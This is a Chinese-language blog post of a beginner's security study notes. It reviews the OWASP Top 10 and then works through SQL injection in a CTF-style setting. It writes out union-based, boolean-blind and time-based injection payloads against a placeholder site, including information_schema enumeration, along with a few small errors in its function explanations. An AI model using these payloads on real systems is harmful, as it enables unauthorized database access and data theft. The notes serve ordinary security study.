学习笔记6
本文最后更新于793 天前,其中的信息可能已经过时,如有错误请发送邮件到3196812536@qq.com

前言

自学网络安全的第六天

正文

下面几天就是针对OWASP Top10 进行针对性的学习和靶场训练了,这样也算是正式入门了

这里再回顾一下:(摘自学习笔记1)

  • 反序列化
  • 跨站脚本攻击(XSS)
  • 恶意代码注入(SQL 注入)
  • 日志记录监控不足
  • XML 解析器漏洞(XEE,外部引入 xml 文件)
  • 漏洞组件
  • 破坏访问控制(未授权访问,业务限制失效)
  • 破坏身份验证(爆破)
  • 敏感数据泄露(敏感数据加密,源码,传输存储交互)
  • 安全配置错误(环境默认配置)

先从SQL注入开始,但是这个问题已经通过框架的开发应用被彻底解决了

Structured Query Language(结构化查询语言)

只要带入数据库查询,都存在注入的可能:比如GET,POST,HTTP头部,COOKIE数据

产生原因:未对用户可控参数进行过滤,数据库交互采用机械拼接

DBS Database Manage System

①元数据数据库 information_schema 储存库名表名字段名

  • tables
    • table_name
    • table_schema
  • columns
    • column_name
    • table_name
    • table_schema

②四大基本手法

定位到MySQL文件夹下的bin文件夹,终端输入mysql -u数据库名 -p你的密码

@@datadir 系统中数据库的路径

一些函数

  • ord()——返回ASCII码
  • concat()直接连接
  • concat_ws()连接带分隔符
  • left()从左侧开始取指定个数的字符串
  • group_cancat()连接不同行
  • load_file读取文件

联合查询,报错注入,布尔盲注,延时注入

判断诸如点——首先扫描网站后台(御剑,dirbuster)

数字型

通过POST方法,原有的SQL执行语句一般为“select * from table_name where id=$id”;

判断方法:

通过变换id参数 页面是否变化 判断是否为数字型

通过https://www.target.com/?id=2判断是否为字符型

报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

通过https://www.target.com/?id=2 and 1=1 & https://www.target.com/?id=2 and 1=2 判断是否为布尔型

联合查询:(可以实现跨库跨表查询)

必要条件——具有相同的列数,数据类型要相同

末尾需加#号用于注释后面的内容

https://www.target.com/?id=2 order by 数字 判断数据表列数

报错:Unknown column ‘3’ in ‘order clause’

也可以通过https://www.target.com/?id=2 union select 1,2,……,数字

报错:The used SELECT statements have a different number of columns

database()version()user()

concat()十六进制解码也可以用来连接字段 hex()十六进制加密

id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库名’——获得数据库中所有的数据表名

id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表名’——获得目标数据表中所有列名

然后就可以直接进行输出

union select 字段1,字段2 from 数据表名

拿到flag

字符型

通过GET方法,即直接在hackbar中操作

需要说明的是–为SQL语句中的注释, bbq是一个注释字符串,用于关闭可能存在的注释后的语法问题

其余的方法同上

布尔盲注

报错注入跳过没听懂……

因为数据库报错信息没有回显,但是能通过布尔判断有没有显示相应页面来进行猜测,所有称为盲注

https://www.target.com/?id=2 and length(database())<20 判断数据库名长度

https://www.target.com/?id=2 and ascii(substr(database(),1,1))>100 通过ASCII判断逐位判断字母

延时注入

没有任何可视化的回显(即上述所有的特征),只能通过网络状态的延时来进行判断也属于盲注

原理基本同上,只不过判断标准由页面显示换为延长时间

https://www.target.com/?id=2 if(length(database())<20,sleep(5),1)

https://www.target.com/?id=2 if(ascii(substr(database(),1,1))>100,sleep(5),1)

SUBSTR():这是用于截取字符串的函数。1:这是截取的起始位置,表示从字符串的第2个字符开始。1:这是要截取的长度,表示只截取1个字符。

LIMIT 1 表示只返回一行结果。 ,1 表示从结果集中跳过第一行。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
隐藏
变装